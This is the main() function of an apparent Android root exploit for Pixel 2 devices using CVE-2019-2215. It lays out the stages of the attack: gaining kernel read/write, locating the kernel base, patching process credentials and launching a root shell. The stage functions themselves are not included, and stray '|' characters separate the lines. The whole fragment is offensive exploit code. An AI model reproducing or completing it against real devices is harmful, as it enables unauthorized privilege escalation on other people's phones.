int main(int argc, char *argv[]) {
|
|
atexit(notify_stage_failure);
|
|
debugging = argc == 2 && !strcmp(argv[1], "debug");
|
|
|
|
printf("Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215\n");
|
|
|
|
execute_stage(0); /* prepare_globals() */
|
|
execute_stage(1); /* find_current() */
|
|
execute_stage(2); /* obtain_kernel_rw() */
|
|
execute_stage(3); /* find_kernel_base() */
|
|
|
|
if (debugging) {
|
|
if (!kernel_base) {
|
|
notify_stage_failure();
|
|
warnx("printed kernel offsets won't be reliable\n");
|
|
}
|
|
execute_stage(6); /* launch_debug_console() */
|
|
} else {
|
|
execute_stage(4); /* patch_creds() */
|
|
execute_stage(5); /* launch_shell() */
|
|
}
|
|
|
|
return 0;
|
|
}
|